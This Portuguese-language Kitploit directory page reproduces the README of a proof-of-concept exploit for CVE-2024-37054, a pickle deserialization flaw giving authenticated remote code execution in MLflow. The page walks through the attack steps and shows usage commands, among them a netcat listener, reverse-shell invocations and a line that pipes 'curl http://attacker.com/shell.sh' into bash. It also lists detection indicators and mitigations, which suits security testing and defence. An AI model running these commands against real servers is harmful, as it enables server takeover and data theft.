Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2024-37054 — Exploit de prova de conceito para CVE-2024-37054, um RCE por desserialização de pickle no MLflow Tracking Server. Automatiza a sobrescrita de artefatos e a entrega de payload para execução remota de código autenticada. | Kitploit
Ferramentas/GitHubGitHub/ben-slates/cve-2024-37054
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoAprendizado e EducaçãoDesenvolvimento de Payloads
GitHubben-slates/cve-2024-37054

CVE-2024-37054

Exploit de prova de conceito para CVE-2024-37054, um RCE por desserialização de pickle no MLflow Tracking Server. Automatiza a sobrescrita de artefatos e a entrega de payload para execução remota de código autenticada.

Ver Repositório
5há 3 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2024-37054 — Desserialização Pickle RCE no MLflow

Python CVE CVSS Affected License

Prova de conceito para uma vulnerabilidade crítica de desserialização pickle no MLflow Tracking Server, permitindo execução remota de código autenticada.

⚠️ Apenas para fins educacionais e testes de segurança autorizados. Não use contra sistemas que não possui ou sem permissão explícita por escrito.


Visão Geral da Vulnerabilidade

CampoValor
ID CVECVE-2024-37054
Pontuação CVSS8.8 (ALTA)
Vetor CVSSCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Versões AfetadasMLflow < 2.14.3
Versão CorrigidaMLflow ≥ 2.14.3
Tipo de VulnerabilidadeCWE-502: Desserialização de Dados Não Confiáveis
Vetor de AtaqueRede
Privilégios NecessáriosBaixo (credenciais válidas)
Interação do UsuárioNenhuma

Descrição

O MLflow Tracking Server desserializa artefatos de modelo via módulo pickle do Python ao carregar modelos para inferência. Um atacante autenticado pode sobrescrever o artefato python_model.pkl no repositório de artefatos do MLflow com uma carga pickle maliciosa. Quando o modelo é carregado posteriormente (por exemplo, durante uma requisição de predição), a carga é desserializada, executando código arbitrário no servidor.

Pré-requisitos para exploração:

  • Acesso de rede ao MLflow Tracking Server
  • Credenciais MLflow válidas (padrão ou outras)
  • Acesso de escrita aos artefatos (concedido a todos os usuários autenticados)

Impacto

A exploração bem-sucedida resulta em execução remota de código no nível de privilégio do processo do servidor MLflow, o que pode levar ao comprometimento total do sistema, exfiltração de dados, movimento lateral ou acesso persistente.


Como o Exploit Funciona

  1. Registro do Modelo — Um conjunto de dados de treinamento legítimo é enviado para criar uma nova execução MLflow e registrar uma versão do modelo com artefatos padrão.
  2. Sobrescrita de Artefato — O artefato python_model.pkl é substituído por uma carga pickle manipulada via PUT /api/2.0/mlflow-artifacts/artifacts/....
  3. Acionamento da Desserialização — Uma requisição de predição faz o MLflow chamar pickle.load() no artefato comprometido.
  4. Execução de Código — O método __reduce__ do pickle invoca os.system(), executando o comando do atacante.

A carga usa os.system() (um built-in C) em vez de cloudpickle para maximizar a compatibilidade entre versões e evitar problemas de bytecode específicos da versão do Python.


Instalação

Requisitos: Python 3.7+, requests

root@kitploit:~
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054

Uso

root@kitploit:~
# Inicie um listener
nc -lvnp 4444

# Execute o exploit
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>

Exemplos

root@kitploit:~
# Default credentials, basic reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444

# Custom MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:MySecretPass123

# App login + MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --mlflow-creds admin:password \
    --app-username admin \
    --app-password admin123

# Custom command instead of reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --cmd "curl http://attacker.com/shell.sh | bash"

# Target specific experiment, increase delay for slow servers
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
    --experiment-id 1 --delay 5

# Verbose output
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v

Opções


Detecção

Indicadores de Rede

  • Requisições PUT para endpoints /api/2.0/mlflow-artifacts/artifacts/
  • Carimbos de data/hora de modificação inesperados em python_model.pkl
  • POST /api/2.0/mlflow/runs/search seguido imediatamente por modificações nos artefatos

Indicadores de Host

  • Chamadas inesperadas a os.system() a partir de processos MLflow
  • Subprocessos Python gerados a partir de processos workers MLflow
  • Conexões de saída do servidor MLflow para hosts desconhecidos

Consultas de Log

root@kitploit:~
# Artifact modification in access logs
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log

# File integrity monitoring
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts

Mitigação

Imediata:

  • Atualizar o MLflow para 2.14.3 ou superior
  • Trocar quaisquer credenciais padrão ou fracas
  • Restringir acesso de rede aos endpoints da API MLflow
  • Auditar o histórico de modificação de artefatos em busca de sinais de adulteração

Longo prazo:

  • Implementar assinatura de artefatos e verificação de integridade antes de carregar modelos
  • Usar aplicação de assinatura de modelo e restringir sabores de modelo baseados em pickle quando possível
  • Habilitar logging de auditoria do MLflow e alertar sobre escritas inesperadas em artefatos

Ambientes Testados

  • MLflow 2.14.1 — Ubuntu 22.04, Python 3.10
  • MLflow 2.12.0 — Docker, Python 3.9
  • Várias configurações de implantação: local, Docker, Kubernetes

Referências

  • NVD — CVE-2024-37054
  • MLflow Security Advisory
  • CWE-502: Deserialization of Untrusted Data
  • MLflow Documentation — Model Registry

Aviso Legal

Esta ferramenta destina-se exclusivamente a:

  • Pesquisadores de segurança estudando vulnerabilidades de desserialização
  • Testadores de penetração operando sob autorização por escrito
  • Administradores de sistema auditando suas próprias implantações MLflow
  • Uso educacional em ambientes controlados de laboratório

Não use esta ferramenta em qualquer sistema que você não possua ou sem permissão explícita por escrito para testar. O autor não assume nenhuma responsabilidade pelo uso indevido.


Licença

MIT — consulte LICENSE para detalhes.


Contato

📧 [email protected]
🐛 Reporte um problema

Baixar ferramenta
ArgumentoDescrição
targetURL da aplicação alvo
mlflowURL do servidor MLflow Tracking
lhostHost do atacante para callback do reverse shell
lportPorta do atacante para callback do reverse shell
--mlflow-creds USER:PASSCredenciais MLflow (padrão: admin:password)
--app-usernameNome de usuário de login da aplicação
--app-passwordSenha de login da aplicação
--app-login-urlCaminho do endpoint de login
--upload-urlCaminho do endpoint de upload
--predict-urlCaminho do endpoint de predição
--experiment-id IDAlvejar um ID específico do experimento
--delay SECONDSAtraso entre etapas (padrão: 2s)
--cmd COMMANDComando personalizado a executar
--verbose / --quietControle de verbosidade
--no-colorDesabilitar saída colorida